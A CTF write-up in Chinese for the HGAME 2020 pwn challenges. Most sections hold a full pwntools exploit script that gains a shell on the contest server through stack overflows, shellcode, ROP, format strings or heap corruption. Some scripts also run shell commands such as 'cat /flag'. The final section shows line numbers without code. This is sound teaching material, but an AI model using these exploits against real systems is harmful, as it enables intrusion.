HGAME 2020 Pwn WriteUp

记录一下 HGAME 2020 的 Pwn 题

Week 1

Hard_AAAAA

溢出到变量,对比内容即可拿到shell

1
2
3
4
5
6
7
8
from pwn import *
context.terminal=['tmux','splitw','-h']
p=remote("47.103.214.163","20000")
p=process("./Hard_AAAAA")
p.recv()
gdb.attach(p,"b*0x080485E9")
p.sendline("a"*0x7b+"0O0o\x00")
p.interactive()

Number_Killer

往栈上读入数字,存在溢出的情况,且栈上可执行,于是读入shellcode,得注意atol的大小限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './Number_Killer'
e = ELF(file)
libc = e.libc
rlibc = ''
ip = '47.103.214.163'
port = '20001'
debug = False

def dbg(code=""):
global debug
if debug == False:
return
gdb.attach(p, code)


def run(local):
global p, libc, debug
if local == 1:
debug = True
p = process(file)
else:
p = remote(ip, port)
debug = False
if rlibc != '':
libc = ELF(rlibc)


se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, '\x00'))
un32 = lambda x: u32(x.ljust(4, '\x00'))

run(0)
rc()
dbg("b*0x400787")
for i in range(0xb):
se('\n')
sl(str(0xc00000000))
sl(str(0x40078D))

sl(str(un64('\x48\x31\xff\x48\x31\xc0\x53\x53')))
sl(str(un64('\x53\x53'*4)))
sl(str(un64('\x50\x48\x31\xd2\x48\x31\xf6\x48')))
sl(str(un64('\xbb\x2f\x62\x69\x6e\x2f\x2f\x73')))
sl(str(un64('\x68\x53\x48\x89\xe7\x90\x0f\x05')))
sl(str(un64('\x48\x31\xc0\xb0\x3b\x0f\x05')))

shell()

'''
\x48\x31\xff\x48\x31\xc0\xb0\x69
\x0f\x05\x48\x31\xd2\x48\xbb\xff
\x2f\x62\x69\x6e\x2f\x73\x68\x48
\xc1\xeb\x08\x53\x48\x89\xe7\x48
\x31\xc0\x50\x57\x48\x89\xe6\xb0
\x3b\x0f\x05
'''

'''
jhH\xb8/bin
///sPH\x89\xe7
hri\x01\x01\x814$
\x01\x01\x01\x011\xf6Vj
\x08^H\x01\xe6VH\x89
\xe61\xd2j;X\x0f\x05
'''

One_Shot

程序把flag读到bss上,又读入了name,name与flag之间会有零字节截断,后面允许读入一个地址,并把此地址一个字节置1,把零字节截断去掉,就可以打印出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './One_Shot'
e = ELF(file)
libc = e.libc
rlibc = ''
ip = '47.103.214.163'
port = '20002'
debug = False


def dbg(code=""):
global debug
if debug == False:
return
gdb.attach(p, code)


def run(local):
global p, libc, debug
if local == 1:
debug = True
p = process(file)
else:
p = remote(ip, port)
debug = False
if rlibc != '':
libc = ELF(rlibc)


se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, '\x00'))
un32 = lambda x: u32(x.ljust(4, '\x00'))

run(0)
payload = 'a' * 31
sla("name?\n", payload)
sla("shot!\n", str(0x6010DF))
rc()
shell()

ROP_LEVEL0

本意是考察ORW,但是也可以利用ROP拿shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './ROP_LEVEL0'
e = ELF(file)
libc = e.libc
rlibc = ''
ip = '47.103.214.163'
port = '20003'
debug = False


def dbg(code=""):
global debug
if debug == False:
return
gdb.attach(p, code)


def run(local):
global p, libc, debug
if local == 1:
debug = True
p = process(file)
else:
p = remote(ip, port)
debug = False
if rlibc != '':
libc = ELF(rlibc)


se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, '\x00'))
un32 = lambda x: u32(x.ljust(4, '\x00'))


run(0)
dbg('b*0x4006E9')
ru("flag\n")
pop_rdi = 0x0000000000400753
payload = p64(pop_rdi) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(e.symbols['vuln'])
sl('a' * 0x58 + payload)
libc.address = un64(rn(6)) - libc.symbols['puts']
success(hex(libc.address))
payload = p64(pop_rdi) + p64(next(libc.search("/bin/sh"))) + p64(libc.symbols['system'])
sl('a' * 0x18 + payload)
shell()

Week 2

findyourself

很有意思的一道题,程序中在文件夹中创建了20个随机名字的文件夹,并且进入了其中一个

然后让你执行一条指令,有指令限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
signed __int64 __fastcall check1(const char *a1)
{
signed __int64 result; // rax
int i; // [rsp+1Ch] [rbp-14h]

for ( i = 0; i < strlen(a1); ++i ) // 检查每一个字符
{
if ( (a1[i] <= 0x60 || a1[i] > 0x7A)
&& (a1[i] <= 0x40 || a1[i] > 0x5A)
&& a1[i] != '/'
&& a1[i] != ' '
&& a1[i] != '-' )
{
return 0xFFFFFFFFLL; // 如果每一个字符<0x60或者>0x7a同时<0x40或者0x5a(不在大小写范围),是 / -
}
}
if ( strstr(a1, "sh") || strstr(a1, "cat") || strstr(a1, "flag") || strstr(a1, "pwd") || strstr(a1, "export") )
result = 0xFFFFFFFFLL;
else
result = 0LL;
return result;
}

接着让你输入当前目录的名字,接着比较是否正确,不正确则exit

正确的话就接着让你执行一条指令,还是有指令限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
signed __int64 __fastcall check2(const char *a1)
{
signed __int64 result; // rax

if ( strchr(a1, '*')
|| strstr(a1, "sh")
|| strstr(a1, "cat")
|| strstr(a1, "..")
|| strchr(a1, '&')
|| strchr(a1, '|')
|| strchr(a1, '>')
|| strchr(a1, '<') )
{
result = 0xFFFFFFFFLL;
}
else
{
result = 0LL;
}
return result;
}

我的做法是爆破这50个文件夹的名字,服务器上的文件夹是会累加的,不过每隔一段时间清空一次,通过ls指令可以得到所有文件夹名字,记录下来,每两次之间的差值就是新增的文件夹,爆破就行了,1/50几率,接着使用$0即可拿到shell,由于程序close了stdout和stderr,使用/bin/sh 1>&0即可拿到有回显的shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
# encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './fys'
e = ELF(file)
libc = e.libc
rlibc = ''
ip = '47.103.214.163'
port = '21000'
debug = False


def dbg(code=""):
global debug
if debug == False:
return
gdb.attach(p, code)


def run(local):
global p, libc, debug
if local == 1:
debug = True
p = process(file)
else:
p = remote(ip, port)
debug = False
if rlibc != '':
libc = ELF(rlibc)


se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, '\x00'))
un32 = lambda x: u32(x.ljust(4, '\x00'))


# run(0)
# ru("find yourself\n")
# sl('ls /tmp')
# old_dir_list = ru('where').split('\n')[0:-1]
# print old_dir_list
# p.close()

old_dir_list = ['0x104fb39f', '0x1085f95b', '0x1127c15e', '0x122ec195', '0x12bf738c', '0x1397204d', '0x1601fd81', '0x17739325', '0x1804cd17', '0x1baa38c2', '0x1cc7452', '0x1d3bb07e', '0x1dd4c237', '0x1e813853', '0x2119de9e', '0x2140c86b', '0x21d7e5cd', '0x2223e505', '0x22ac86d4', '0x22b4fe37', '0x23badd10', '0x23d89d0c', '0x24719224', '0x25b8c240', '0x2632adde', '0x26332bfe', '0x268c488d', '0x274d84d8', '0x2859a2f1', '0x28a56ada', '0x2ab95b35', '0x2b71656', '0x2c55f3b0', '0x2d5fd505', '0x2d91763d', '0x2dabaf1', '0x2e55231', '0x2f457833', '0x301150c8', '0x3063c282', '0x311061cd', '0x3192a3d3', '0x32c4e4a5', '0x33888797', '0x33c1fe46', '0x347688bb', '0x34c5f737', '0x359833ed', '0x3678948', '0x37e3c128', '0x383e67b0', '0x3c6369e0', '0x3c6e1a5e', '0x3fd07192', '0x3fe66d1d', '0x4030f8f1', '0x403dd19a', '0x41646174', '0x42c5fbd2', '0x430cbdc3', '0x4340462f', '0x438f1427', '0x43d2053e', '0x4487c2ce', '0x4519b7be', '0x4530392a', '0x46bc2ee3', '0x48eab624', '0x498b12c3', '0x4a428bbf', '0x4ae35cf0', '0x4b6d28b6', '0x4f8baa33', '0x5013d346', '0x5376463b', '0x552b40ca', '0x5658f69a', '0x571ae9e0', '0x5749e5ac', '0x5808a31c', '0x580bf835', '0x5863b18d', '0x5894c331', '0x5bace9eb', '0x5c6825b', '0x613c7ffa', '0x616f6d1f', '0x62479a3a', '0x62a8ef40', '0x635ab2b5', '0x6394f832', '0x65248a4f', '0x661425d8', '0x674c8054', '0x696fe477', '0x6a074fce', '0x6ca42a74', '0x6d2086c6', '0x6e06163c', '0x6f295158', '0x6f48bb59', '0x6ffbc108', '0x70174b88', '0x7040b7a', '0x713ddbf0', '0x7290a395', '0x7400516', '0x74c60e61', '0x764afbf2', '0x775cddbf', '0x77ece0c6', '0x789e20b6', '0x7a6612da', '0x7d2b63a6', '0x7dae23d1', '0x827e55d4', '0x836d381e', '0x84a6cfa3', '0x860a926b', '0x860d32a3', '0x8a0f9ff9', '0x8a79324a', '0x8bc25034', '0x8cedcaa8', '0x8cfc82b4', '0x8f7913f7', '0x927abfba', '0x9302601d', '0x94b3ed0d', '0x94da09b2', '0x965d0b10', '0x96b83578', '0x96cf4c4e', '0x97a6f4b9', '0x992ae7a9', '0x99611bde', '0x99e71542', '0x9a1803b', '0x9b0f8293', '0x9b8a85e8', '0x9bc39c4a', '0x9bfeab30', '0x9e213c6e', '0x9f35b433', '0x9f46099b', '0xa07c3fa7', '0xa264bee8', '0xa3b6443f', '0xa478ed6f', '0xa536c5ab', '0xa70151d1', '0xa83a47bc', '0xa8c955fb', '0xaa13f36c', '0xab797946', '0xac2dadc2', '0xacba974c', '0xadbcde9b', '0xafd375a9', '0xafe29500', '0xb1e3eb73', '0xb29fa34e', '0xb3338843', '0xb37cc899', '0xb4d9021d', '0xb5488d95', '0xb568c445', '0xb64dd892', '0xb6a8d3e5', '0xb79e97e0', '0xb884b391', '0xb978b293', '0xb9a0fe00', '0xbd31ff9e', '0xc158c8d8', '0xc313c722', '0xc374220', '0xc384df57', '0xc3d3b67f', '0xc3ec7434', '0xc49b8aa4', '0xc579da89', '0xc5ec5acd', '0xc7094a58', '0xc88189c2', '0xc8e2ed8d', '0xc923c096', '0xca600b00', '0xcabb8207', '0xcb700397', '0xcc1d1f2f', '0xcc222f88', '0xcc86510', '0xcd3988f1', '0xcd4312a', '0xcdbef6be', '0xcdd8f396', '0xce0a0bf3', '0xceff910a', '0xcfcc305b', '0xd02bc219', '0xd0af05c8', '0xd0d19be9', '0xd222e20c', '0xd406383c', '0xd54e4a34', '0xd5cba6b8', '0xd6d7ac44', '0xd725d68c', '0xd7ee51cb', '0xd933b1cd', '0xd9424788', '0xd9e00a00', '0xda99038a', '0xdad7a848', '0xdb0f0b0e', '0xdc2fa9d4', '0xdd31a33e', '0xdd87a2f5', '0xddd878f8', '0xe0506b92', '0xe190af62', '0xe29f2aeb', '0xe366fa5c', '0xe3d009cd', '0xe581d627', '0xe6ceb911', '0xe781e186', '0xe842ee8', '0xe942739c', '0xe97afa75', '0xea7f92c3', '0xeb373747', '0xeb7f8a9e', '0xef298bc4', '0xef6533f', '0xf05d3bd6', '0xf0d1ecf1', '0xf0e0638f', '0xf10c195f', '0xf1cceab', '0xf4cb8333', '0xf60bf6c2', '0xf723afbe', '0xf99ed6ae', '0xfa03875e', '0xfd363d9f', '0xfd702804', '0xfeb7ce7e', '0xff2808da']

while True:
run(0)
ru("find yourself\n")
sl('ls /tmp')
new_dir_list = ru('where are you?\n').split('\n')[0:-1]
print len(new_dir_list)
dir_list = list(set(new_dir_list) - set(old_dir_list))
print dir_list
print len(dir_list)
old_dir_list += dir_list
dir_name = '/tmp/' + dir_list[randint(0, len(dir_list) - 1)]
print dir_name
sl(dir_name)
an = ''
an = rc()
print "ans: " + an
if an == "nonono,not there\n":
continue
sl("$0")
sleep(1)
sl("/bin/sh 1>&0")
sleep(1)
sl("cat /flag")
rc()
#break
pause()

回头看了一下官方wp,里面第一条指令用的是ls -l /proc/self/cwd

1
2
3
4
➜  findyouself ./fys       
find yourself
ls -l /proc/self/cwd
lrwxrwxrwx 1 mask mask 0 2月 8 10:13 /proc/self/cwd -> /home/mask/Desktop/HGAME/Pwn/findyouself/tmp/0x1ede47fa

这条指令可以直接显示出当前目录。。。吃了没文化的亏

Roc826s_Note

off by one修改size,free后进入unsortedbin,再UAF泄漏libc,fastbin attack改malloc hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
# encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './Roc826'
e = ELF(file)
libc = e.libc
rlibc = ''
ip = '47.103.214.163'
port = '21002'
debug = False


def dbg(code=""):
global debug
if debug == False:
return
gdb.attach(p, code)


def run(local):
global p, libc, debug
if local == 1:
debug = True
p = process(file)
else:
p = remote(ip, port)
debug = False
if rlibc != '':
libc = ELF(rlibc)


se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, '\x00'))
un32 = lambda x: u32(x.ljust(4, '\x00'))

run(0)

def add(s, c):
sla(":", "1")
sla("size?\n", str(s))
sea(":", c)

def dele(idx):
sla(":", "2")
sla("?\n", str(idx))

def show(idx):
sla(":", "3")
sla("?\n", str(idx))


add(0x68, '0\n')
add(0x68, '1\n')
add(0x68, '2\n')
add(0x68, '3\n')
add(0x68, '4\n')
add(0x68, '5\n')
dele(0)
add(0x68, '\x00' * 0x68 + '\xe1')
dele(1)
show(1)
ru(":")
libc.address = un64(rn(6)) - 0x3c4b78
log.success(hex(libc.address))
fake = libc.address + 0x3c4aed
dele(0)
dele(4)
dele(0)
add(0x68, p64(fake) + '\n')
add(0x68, p64(fake) + '\n')
add(0x68, p64(fake) + '\n')
add(0x68, '\x01' * 11 + p64(libc.address + 0xf1147) + p64(libc.address + 0x846C2) + '\n')
dbg()
sla(":", "1")
sla("size?\n", str(0))
shell()

Another_Heaven

这题预期解是通过修改密码功能来爆破,开头允许修改任意地址一个字节,改got表中strncpy为strncmp来逐字节爆破 ,不过把strcmp直接改成printf,这样在 if ( !strcmp(password, flag) ) 的时候利用%s直接出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './Another_Heaven'
e = ELF(file)
libc = e.libc
rlibc = ''
ip = '47.103.214.163'
port = '21001'
debug = False


def dbg(code=""):
global debug
if debug == False:
return
gdb.attach(p, code)


def run(local):
global p, libc, debug
if local == 1:
debug = True
p = process(file)
else:
p = remote(ip, port)
debug = False
if rlibc != '':
libc = ELF(rlibc)


se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, '\x00'))
un32 = lambda x: u32(x.ljust(4, '\x00'))

run(0)
rc()
se("6299752\n")
se(' ')
rc()
se('\x00\n')
rc()
sl("%s")
rc()
shell()

形而上的环死

主要逻辑分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
__int64 game()
{
__int64 v1; // [rsp+0h] [rbp-C0h]
__int64 v2; // [rsp+8h] [rbp-B8h]
int v3; // [rsp+8h] [rbp-B8h]
char ptr_arrary[160]; // [rsp+10h] [rbp-B0h]
char v5[8]; // [rsp+B0h] [rbp-10h]
unsigned __int64 v6; // [rsp+B8h] [rbp-8h]

v6 = __readfsqword(0x28u);
LODWORD(v2) = 0;
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts("这一天,你在路上偶遇了睿智的逆向出题人:The eternal God Y!");
puts("只见他拿着一把AWP不知道在那瞄谁。");
puts("他发现了你,喜出望外:兄弟,包给你快去下包,我帮你架点!");
puts("你要把C4安放在哪里呢?");
HIDWORD(v2) = readi();
read(0, &v5[8 * HIDWORD(v2)], 8uLL); // 栈上地址写8字节
puts("the bomb has been planted!");
getchar();
puts("a few moments later~");
puts("快过年了,正好有一条养了一年多的金枪鱼最近看起来闷闷不乐。");
puts("不如把它宰了,吃一顿大餐,你说吼不吼啊!");
getchar();
printf("但是这一年多对它也有了些许感情,因此为了纪念它,你决定给它起个名字:");
read_n((__int64)name, 48);
puts("------------------------------------------------------------------");
puts("接下来开始切菜,你打算把它切成几段呢?");
HIDWORD(v1) = readi();
if ( SHIDWORD(v1) > 20 )
{
puts("要被砍成金枪鱼酱了啦!");
exit(0);
}
puts("------------------------------------------------------------------");
puts(
"为了满足每个人不同的口味,每一段都打算用不同的烹饪方法。顺带一提,我喜欢糖醋金枪鱼");
LODWORD(v1) = 0;
while ( BYTE4(v1) > (signed int)v1 )
{
printf("第%d段打算怎么料理呢:", (unsigned int)v1, v1, v2);
memset(&ptr_arrary[8 * (signed int)v1], 0, 8uLL);// rsp+0x10开始的20个8字节都可以写,还是在数组内
read_n((__int64)&ptr_arrary[8 * (signed int)v1], 8);
LODWORD(v1) = v1 + 1;
}
puts("接下来你打算把剩下的鱼骨头做成标本。");
sleep(1u);
puts("-----------------------------------------------------------");
puts("| |");
puts(name);
puts("| |");
puts("-----------------------------------------------------------");
puts("就在此时,你发现了一根茄子,这根茄子居然已经把锅里的金枪鱼吃了大半。");
getchar();
puts("仔细观察一下,你发现这居然是一只E99p1ant,并且有大量邪恶的能量从中散发。");
getchar();
puts("你吓得立马扔掉了它,E99p1ant在空中飞行了114514秒,请问它经过的路程是__m:");
LODWORD(v2) = readi();
puts("E99p1ant落地后,发现旁边居然有一个C4……Bomb!Terrorist Win");
write(1, &v5[8 * HIDWORD(v2)], 6uLL); // 地址读,泄漏
puts("E99p1ant不甘地大喊:啊~~!~?~…____");
if ( flag1 == 1 )
{
read_n((__int64)&e99 + 8 * v3, 8);
puts("E99p1ant变成了茄酱。");
flag1 = 0;
}
else
{
puts("嗯?!世界线……被改变了,我的Reading Steiner触发了!");
}
return 0LL;
}

先改返回地址再次进入game,读出pie地址,修改puts为print,格式化字符串利用,最后one_gadget一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
# encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './Metaphysical_Necrosis'
e = ELF(file)
libc = e.libc
rlibc = ''
ip = '47.103.214.163'
port = '21003'
debug = False


def dbg(code=""):
global debug
if debug == False:
return
gdb.attach(p, code)


def run(local):
global p, libc, debug
if local == 1:
debug = True
p = process(file)
else:
p = remote(ip, port)
debug = False
if rlibc != '':
libc = ELF(rlibc)


se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, '\x00'))
un32 = lambda x: u32(x.ljust(4, '\x00'))

run(1)
rc()
sl("3")
rc()
se('\x23')
rc()
se('\n')
rc()
se("\n")
rc()
sl("Mask")
rc()
sl("0")
rc()
sl('\n')
rc()
sl("-12")
ru("Terrorist Win\n")
e.address = un64(rn(6)) - 0xf23
rc()
sl(p64(e.plt['printf']))

rc()
sl("aa")
rc()
se('\x23')
rc()
se('\n')
rc()
se("\n")
rc()
# dbg("breakrva 0xE11")
sl("Mask")
rc()
sl("0")
rc()
sl('\n\n\n')
rc()

sl("!%41$p")
ru('!')
libc.address = int(rn(0xe), 16) - 0x20830
log.success(hex(libc.address))

rc()
sl("aaaa")
rc()
se(p64(libc.address + 0x45216))
# dbg("breakrva 0xF2E")
shell()

Week 3

ROP_LEVEL2

先读到bss,然后main中栈溢出数量不够,需要栈转移至bss,ORW即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './ROP'
e = ELF(file)
libc = e.libc
rlibc = ''
ip = '47.103.214.163'
port = '20300'
debug = False


def dbg(code=""):
global debug
if debug == False:
return
gdb.attach(p, code)


def run(local):
global p, libc, debug
if local == 1:
debug = True
p = process(file)
else:
p = remote(ip, port)
debug = False
if rlibc != '':
libc = ELF(rlibc)


se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, '\x00'))
un32 = lambda x: u32(x.ljust(4, '\x00'))

run(0)
prdi = 0x0000000000400a43
prsi_pr15 = 0x0000000000400a41
rop_chain = p64(0x6010A0 + 0x50 + 0x50 - 0x18)
rop_chain += p64(prdi)
rop_chain += p64(0x6010e0)
rop_chain += p64(prsi_pr15)
rop_chain += p64(0) * 2
rop_chain += p64(0x400985)
rop_chain += p64(0x400991)
rop_chain += "flag\x00\x00\x00\x00"
rc()
# dbg("b*0x4009D5 ")
sl(rop_chain)
rc()
sl("a" * 0x50 + p64(0x6010A0) + p64(0x4009D5))
shell()

Annevi_Note

申请的chunk size不能在fastbin中,edit功能堆溢出,unlink到list变量,修改指针为free hook,写上system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
# encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './Annevi'
e = ELF(file)
libc = e.libc
rlibc = ''
ip = '47.103.214.163'
port = '20301'
debug = False


def dbg(code=""):
global debug
if debug == False:
return
gdb.attach(p, code)


def run(local):
global p, libc, debug
if local == 1:
debug = True
p = process(file)
else:
p = remote(ip, port)
debug = False
if rlibc != '':
libc = ELF(rlibc)


se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, '\x00'))
un32 = lambda x: u32(x.ljust(4, '\x00'))

run(0)

def add(size, content):
sla(":", "1")
sla("size?\n", str(size))
sla("content:", content)

def dele(idx):
sla(":", "2")
sla("index?\n", str(idx))

def show(idx):
sla(":", "3")
sla("index?\n", str(idx))


def edit(idx, content):
sla(":", "4")
sla("index?\n", str(idx))
sla("content:", content)


add(0x98, '0')
add(0x98, '1')
add(0x98, '2')
add(0x98, '3')
add(0x98, '4')
add(0x98, '/bin/sh')
dele(0)
add(0x98, '0' * 7)
show(0)
ru('0\n')
# 0x3c67f8
libc.address = un64(rn(6)) - 0x3c4b78
success(hex(libc.address))
dele(0)
edit(1, '\x00' * 0x90 + p64(0xa0 * 2) + p64(0xa0))
dele(2)
fake = ''
fake += p64(0) + p64(0x91)
fake += p64(0x602040 - 0x18) + p64(0x602040 - 0x10)
fake = fake.ljust(0x90, '\x00')
fake += p64(0x90) + p64(0xa0)
fake = fake.ljust(0x138, '\x00')
fake += p64(0xa1)
add(0x1d8, fake)
dele(1)
edit(0, p64(libc.symbols['__free_hook']) * 4)
edit(0, p64(libc.symbols['system']))
dele(5)
shell()

E99plant_Note

off by one + fastbin attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
# encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './E99'
e = ELF(file)
libc = e.libc
rlibc = ''
ip = '47.103.214.163'
port = '20302'
debug = False


def dbg(code=""):
global debug
if debug == False:
return
gdb.attach(p, code)


def run(local):
global p, libc, debug
if local == 1:
debug = True
p = process(file)
else:
p = remote(ip, port)
debug = False
if rlibc != '':
libc = ELF(rlibc)


se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, '\x00'))
un32 = lambda x: u32(x.ljust(4, '\x00'))

run(0)

def add(size, content):
sla(":", "1")
sla("size?\n", str(size))
sla("content:", content)

def dele(idx):
sla(":", "2")
sla("index?\n", str(idx))

def show(idx):
sla(":", "3")
sla("index?\n", str(idx))


def edit(idx, content):
sla(":", "4")
sla("index?\n", str(idx))
sea("content:", content)


add(0x88, "0")
add(0x68, "0")
add(0x98, "0")
add(0x98, "0")
dele(2)
add(0x98, "0" * 7)
show(2)
ru("0\n")
libc.address = un64(rn(6)) - 0x3c4c08 + 0x90
success(hex(libc.address))
dele(0)
edit(1, '\x00' * 0x60 + p64(0x100) + '\xa0')
dele(2)
add(0xf8, '\x00' * 0x88 + p64(0x71))
dele(1)
edit(0, '\x00' * 0x88 + p64(0x71) + p64(libc.address + 0x3c4aed) + '\n')
add(0x68, '0')
add(0x68, '\x00' * 0xb + p64(libc.address + 0xf1147) + p64(libc.address + 0x846C2))
dbg("b*" + hex(libc.address + 0xf1147))
success(hex(libc.address))
sla(":", "1")
sla("size?\n", str(0))
shell()

junior_iterator

逆向题。。套了好多函数,逆出来理清即可

先new两个list,然后使用overwrite第一个list,控制范围到第二个list的第一个指针,写入atoi的got表,show泄漏libc,再改成system,传入/bin/sh调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
